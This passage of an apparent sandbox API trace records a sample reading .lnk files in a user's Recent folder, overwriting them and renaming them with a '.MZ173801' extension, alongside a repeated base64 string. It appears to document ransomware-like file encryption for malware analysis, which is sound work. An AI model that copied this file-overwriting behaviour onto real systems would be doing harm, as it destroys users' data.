lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mr3PQACS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mr3pqacs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.684] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.684] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.684] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe59 [0121.684] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.684] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe59, lpOverlapped=0x0) returned 1 [0121.685] CloseHandle (hObject=0x288) returned 1 [0121.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mr3PQACS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mr3pqacs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.686] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe59, lpOverlapped=0x0) returned 1 [0121.687] CloseHandle (hObject=0x288) returned 1 [0121.688] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mr3PQACS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mr3pqacs.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mr3PQACS.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mr3pqacs.lnk.mz173801")) returned 1 [0121.689] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde4dba20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde4dba20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MWrUzIRQCTgTLWF8I.lnk", cAlternateFileName="MWRUZI~1.LNK")) returned 1 [0121.689] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.689] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MWrUzIRQCTgTLWF8I.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mwruzirqctgtlwf8i.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde4dba20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde4dba20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xefc)) returned 1 [0121.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MWrUzIRQCTgTLWF8I.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mwruzirqctgtlwf8i.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.697] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.697] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.697] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xefc [0121.697] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.697] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xefc, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xefc, lpOverlapped=0x0) returned 1 [0121.698] CloseHandle (hObject=0x288) returned 1 [0121.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MWrUzIRQCTgTLWF8I.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mwruzirqctgtlwf8i.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.700] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xefc, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xefc, lpOverlapped=0x0) returned 1 [0121.701] CloseHandle (hObject=0x288) returned 1 [0121.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MWrUzIRQCTgTLWF8I.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mwruzirqctgtlwf8i.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MWrUzIRQCTgTLWF8I.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mwruzirqctgtlwf8i.lnk.mz173801")) returned 1 [0121.704] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd66d4c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf74e4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Music.lnk", cAlternateFileName="MYMUSI~1.LNK")) returned 1 [0121.704] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.704] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd66d4c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf74e4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0121.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNz